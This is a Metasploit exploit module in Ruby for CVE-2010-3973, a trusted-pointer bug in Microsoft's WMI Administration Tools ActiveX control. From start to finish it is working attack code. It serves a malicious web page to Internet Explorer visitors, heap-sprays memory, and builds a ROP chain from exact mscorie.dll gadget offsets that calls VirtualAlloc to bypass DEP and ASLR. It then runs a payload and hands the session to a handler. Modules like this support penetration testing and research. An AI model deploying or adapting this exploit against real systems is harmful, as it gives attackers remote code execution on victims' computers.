##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  # include Msf::Exploit::Remote::BrowserAutopwn
  #
  # autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :ua_name    => HttpClients::IE,
  #  :rank       => NormalRanking,
  #  :vuln_test  => nil,
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow',
        'Description' => %q{
          This module exploits a memory trust issue in the Microsoft WMI
          Administration tools ActiveX control. When processing a specially crafted
          HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat
          the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods
          as a trusted pointer. It makes an indirect call via this pointer which leads
          to arbitrary code execution.

          This exploit utilizes a combination of heap spraying and the
          .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
          opt-in to ASLR. As such, this module should be reliable on all Windows
          versions.

          The WMI Administrative Tools are a standalone download & install (linked in the
          references).
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'WooYun', 'MC', 'jduck' ],
        'References' => [
          [ 'OSVDB', '69942'],
          [ 'CVE', '2010-3973' ],
          [ 'BID', '45546' ],
          [ 'URL', 'http://wooyun.org/bug.php?action=view&id=1006' ],
          [ 'URL', 'http://web.archive.org/web/20101228043011/http://secunia.com:80/advisories/42693' ],
          [ 'URL', 'http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
        'Payload' => {
          'Space' => 512,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [ 'Windows Universal', { 'SprayTarget' => 0x105ae020 } ],
          [ 'Debug Target (Crash)', { 'SprayTarget' => 0x70707070 } ] # must be < 0x80000000
        ],
        'DisclosureDate' => '2010-12-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def auto_target(cli, request)
    mytarget = nil

    agent = request.headers['User-Agent']
    if agent =~ /MSIE 6\.0/ or agent =~ /MSIE 7\.0/ or agent =~ /MSIE 8\.0/
      mytarget = targets[1]
    else
      print_error("Unknown User-Agent #{agent}")
    end
    mytarget
  end

  def on_request_uri(cli, request)
    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    if request.uri == get_resource() or request.uri =~ /\/$/
      print_status("Sending redirect (target: #{mytarget.name})...")

      redir = get_resource()
      redir << '/' if redir[-1, 1] != '/'
      redir << rand_text_alphanumeric(4 + rand(4))
      redir << '.html'
      send_redirect(cli, redir)

    elsif request.uri =~ /\.html?$/
      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)

      print_status("Sending HTML (target: #{mytarget.name})...")

      # Generate the ROP payload
      buf_addr = mytarget['SprayTarget']
      rvas = rvas_mscorie_v2()
      rop_stack = generate_rop(buf_addr, rvas)

      fix_esp = rva2addr(rvas, 'pop ebp / ret')
      pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
      pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')

      pivot_str = Rex::Text.to_unescape([pivot1].pack('V'))

      special_sauce = [
        buf_addr + 0x10,
        pivot2, # becomes eip via trusted ptr
        fix_esp,
        0xdeadbeef,
        pivot1, # used by AddContextRef
        pivot1  # used by ReleaseContext
      ].pack('V*')

      # Append the payload to the rop_stack
      rop_stack << p.encoded

      # Add in the rest of the ROP stack
      special_sauce << rop_stack

      special_sauce = Rex::Text.to_unescape(special_sauce)
      shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
      nops = Rex::Text.to_unescape(make_nops(4))
      js_function = rand_text_alpha(rand(32) + 1)
      vname = rand_text_alpha(rand(32) + 1)

      clsid = "2745E5F5-D234-11D0-847A-00C04FD7BB08"
      progid = "WBEM.SingleViewCtrl.1"

      method_names = [
        "AddContextRef",
        "ReleaseContext"
      ]

      method_name = method_names[rand(method_names.length)]

      # Construct the heap spray javascript
      custom_js = <<~EOS
        function #{js_function}() {
        heap = new heapLib.ie(0x20000);
        var heapspray = unescape("#{special_sauce}");
        while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
        var heapblock = heapspray;
        while(heapblock.length < 0x40000) heapblock += heapblock;
        finalspray = heapblock.substring(2, 0x40000 - 0x21);
        for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
        #{vname}.#{method_name}(#{"0x%x" % buf_addr});
        }
      EOS
      js = heaplib(custom_js)

      dll_uri = get_resource()
      dll_uri << '/' if dll_uri[-1, 1] != '/'
      dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"

      # Construct the final page
      content = <<~EOS
        <html>
        <head>
        <script language='javascript'>
        #{js}
        </script>
        </head>
        <body onload='#{js_function}()'>
        <object classid="#{dll_uri}#GenericControl" />
        <object classid="clsid:#{clsid}" id="#{vname}"></object>
        </body>
        </html>
      EOS

      # Transmit the response to the client
      send_response_html(cli, content)

    elsif request.uri =~ /\.dll$/
      print_status("Sending DLL (target: #{mytarget.name})...")

      # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
      # use it's contents ...
      ibase = (0x2000 | rand(0x8000)) << 16
      dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))

      # Send a .NET v2.0 DLL down
      send_response(cli, dll,
                    {
                      'Content-Type' => 'application/x-msdownload',
                      'Connection' => 'close',
                      'Pragma' => 'no-cache'
                    })
    end

    # Handle the payload
    handler(cli)
  end

  def rvas_mscorie_v2()
    # mscorie.dll version v2.0.50727.3053
    # Just return this hash
    {
      'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
      'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
      'pop ebp / ret' => 0x5557,
      'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
      'pop eax / ret' => 0x5ba1,
      'pop ebx / ret' => 0x54c0,
      'pop ecx / ret' => 0x1e13,
      'pop esi / ret' => 0x1d9a,
      'pop edi / ret' => 0x2212,
      'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
      'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
    }
  end

  def generate_rop(buf_addr, rvas)
    # ROP fun! (XP SP3 English, Dec 15 2010)
    rvas.merge!({
      # Instructions / Name    => RVA
      'BaseAddress' => 0x63f00000,
      'imp_VirtualAlloc' => 0x10f4
    })

    rop_stack = [
      # Allocate an RWX memory segment
      'pop ecx / ret',
      'imp_VirtualAlloc',

      'call [ecx] / pop ebp / ret 0xc',
      0,         # lpAddress
      0x1000,    # dwSize
      0x3000,    # flAllocationType
      0x40,      # flProt
      :unused,

      # Copy the original payload
      'pop ecx / ret',
      :unused,
      :unused,
      :unused,
      :memcpy_dst,

      'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
      :unused,

      'pop esi / ret',
      :unused,
      :unused,
      :unused,
      :memcpy_src,

      'pop edi / ret',
      0xdeadf00d # to be filled in above
    ]
    (0x200 / 4).times {
      rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
    }
    # Execute the payload ;)
    rop_stack << 'call [ecx] / pop ebp / ret 0xc'

    rop_stack.map! { |e|
      if e.kind_of? String
        # Meta-replace (RVA)
        fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e]
        rvas['BaseAddress'] + rvas[e]

      elsif e == :unused
        # Randomize
        rand_text(4).unpack('V').first

      elsif e == :memcpy_src
        # Based on stack length..
        buf_addr + 0x18 + (rop_stack.length * 4)

      elsif e == :memcpy_dst
        # Store our new memory ptr into our buffer for later popping :)
        buf_addr + 0x18 + (21 * 4)

      else
        # Literal
        e
      end
    }

    rop_stack.pack('V*')
  end

  def rva2addr(rvas, key)
    fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key]
    rvas['BaseAddress'] + rvas[key]
  end
end
